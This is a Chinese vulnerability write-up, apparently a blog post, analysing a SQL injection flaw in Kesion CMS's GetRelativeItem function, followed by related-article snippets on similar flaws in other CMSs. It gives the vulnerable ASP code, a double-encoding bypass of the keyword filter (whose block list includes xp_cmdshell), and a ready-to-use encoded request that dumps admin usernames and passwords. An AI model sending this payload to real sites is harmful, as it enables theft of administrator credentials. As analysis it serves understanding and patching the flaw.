Kesion cms sql注入漏洞修复及其分析

先我们来看代码

 代码如下 复制代码

Dim KS:Set KS=New PublicCls
Dim Action
Action=KS.S("Action")
Select Case Action
Case "Ctoe" CtoE
Case "GetTags" GetTags
Case "GetRelativeItem" GetRelativeItem //问题函数
...skip...
Case "getonlinelist" getonlinelist
End Select
Sub GetRelativeItem() //漏洞函数开始
Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只调用ks.s函数,无其它过滤。
Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
Dim RKey:Rkey=lcase(KS.G("Rkey"))
Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
Dim ID:ID=KS.ChkClng(KS.G("ID"))
Dim Param,RS,SQL,k,SqlStr
If Key<>"" Then
If (Rtitle="true" Or RKey="true") Then
If Rtitle="true" Then
param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。
end if
If Rkey="true" Then
If Param="" Then
Param=Param & " keywords like '%" & key & "%'"
Else
Param=Param & " or keywords like '%" & key & "%'"
End If
End If
Else
Param=Param & " keywords like '%" & key & "%'"
End If
End If
If Param<>"" Then
Param=" where InfoID<>" & id & " and (" & param & ")"
else
Param=" where InfoID<>" & id
end if
If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID
Param=Param & " and verific=1"
SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询
Set RS=Server.CreateObject("ADODB.RECORDSET")
RS.Open SqlStr,conn,1,1
If Not RS.Eof Then
SQL=RS.GetRows(-1)
End If
RS.Close

如果配合Unescape()函数,刚过滤不会生效。可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“'”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。
注入语句:%') union select 1,2,username+'|'+ password from KS_Admin
 转换如下:

 代码如下 复制代码
 /plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500

先进行了过滤,然后才调用UnEscape解码,

 代码如下 复制代码

Public Function S(Str)
S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
Function DelSql(Str)
Dim SplitSqlStr,SplitSqlArr,I
SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
SplitSqlArr = Split(SplitSqlStr,"|")
For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
If Instr(LCase(Str),SplitSqlArr(I))>0 Then
Die "<script>alert('系统警告!nn1、您提交的数据有恶意字符" & SplitSqlArr(I) &";n2、您的数据已经被记录;n3、您的IP:"&GetIP&";n4、操作日期:"&Now&";n Powered By Kesion.Com!');window.close();</script>"
End if
Next
DelSql = Str
End Function

这样我们还是开头的那句话使用unescape()函数或者不使用本函数。

时间: 2024-10-14 16:38:27

Kesion cms sql注入漏洞修复及其分析的相关文章

php防止sql注入漏洞代码和分析

 这篇文章主要介绍了php防止sql注入漏洞代码和分析,最近提供了几种常见攻击的正则表达式,大家参考使用吧 注入漏洞代码和分析 代码如下: <?php  function customError($errno, $errstr, $errfile, $errline)  {      echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";   

PHPCMS2008广告模板SQL注入漏洞修复_php实例

00 漏洞描述 PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透. 01 漏洞分析 漏洞产生的位置: /ads/include/ads_place.class.php的show方法中. function show($placeid) ... if($adses[0]['option']) { foreach($adses as $ads) { $contents[] =

PHPCMS2008广告模板SQL注入漏洞修复

00 漏洞描述 PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透. 01 漏洞分析 漏洞产生的位置: /ads/include/ads_place.class.php的show方法中. function show($placeid) ... if($adses[0]['option']) { foreach($adses as $ads) { $contents[] =

php中sql注入漏洞示例 sql注入漏洞修复_php实例

在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符.通常,用户可以通过以下接口调用数据库的内容:URL地址栏.登陆界面.留言板.搜索框等.这往往给骇客留下了可乘之机.轻则数据遭到泄露,重则服务器被拿下.  一.SQL注入的步骤 a)  寻找注入点(如:登录界面.留言板等) b)  用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c)  将sql语句发送给数据库管理系统(DBMS) d)  DBMS接收请求,并将该请求解释成机器代码指令,执行必要的存取操作 e)  DBMS

dedecms织梦soft_add.php文件暴模版SQL注入漏洞修复方案

阿里云总是报dedecms的soft_add.php文件存在SQL注入漏洞,不修复觉着烦,所以就尝试修复,这里给出修复该漏洞的方法,希望能够帮助到也有此疑惑的同学们! 涉及文件及其路径 文件:soft_add.php 文件路径:/member/soft_add.php 修复方法 找到下面这句:(第154行)  代码如下 复制代码 $urls .= "{dede:link islocal='1′ text='{$servermsg1}'} $softurl1 {/dede:link}\r\n&qu

齐博CMS曝SQL注入漏洞 360提醒用户尽快打补丁

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 近日,360网站安全检测平台独家发现齐博CMSV7(原PHP168v系列)建站系统存在SQL注入漏洞(0day),黑客可利用此漏洞入侵网站服务器,窃取网站数据甚至完全控制服务器.对此,360已于第一时间将漏洞信息通报厂商,并群发告警邮件提醒旗下用户尽快下载最新补丁,360网站卫士也同时更新了防护规则. 360网站安全检测平台服务网址:http

对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析_php实例

ThinkPHP官网上曾有一段公告指出,在ThinkPHP 3.1.3及之前的版本存在一个SQL注入漏洞,漏洞存在于ThinkPHP/Lib/Core/Model.class.php 文件 根据官方文档对"防止SQL注入"的方法解释(参考http://doc.thinkphp.cn/manual/sql_injection.html) 使用查询条件预处理可以防止SQL注入,没错,当使用如下代码时可以起到效果: $Model->where("id=%d and usern

Wordpress4.2.3提权与SQL注入漏洞分析

这是这几天一直关注的漏洞了,wordpress上个礼拜发布的4.2.4版本,其中提到修补了可能存在的SQL漏洞和多个XSS. Check point也很快发出了分析,我也来分析与复现一下最新的这个漏洞.   0x01 GP混用造成的越权漏洞 首先,说明一下背景.wordpress中用户权限分为订阅者.投稿者.作者.编辑和管理员. 权限最低的是订阅者,订阅者只有订阅文章的权限,wordpress开启注册后默认注册的用户就是订阅者.国内很多知名网站,如Freebuf,用户注册后身份即为“订阅者”.

Java安全之SQL注入漏洞分析

漏洞简介 SQL 注入漏洞在以下情况下出现: 1. 数据从一个不可信赖的数据源进入程序. 2. 数据用于动态地构造一个 SQL 查询.    代码如下 复制代码 String userName = ctx.getAuthenticatedUserName(); String itemName = request.getParameter("itemName"); String query = "SELECT * FROM items WHERE owner+  = '&quo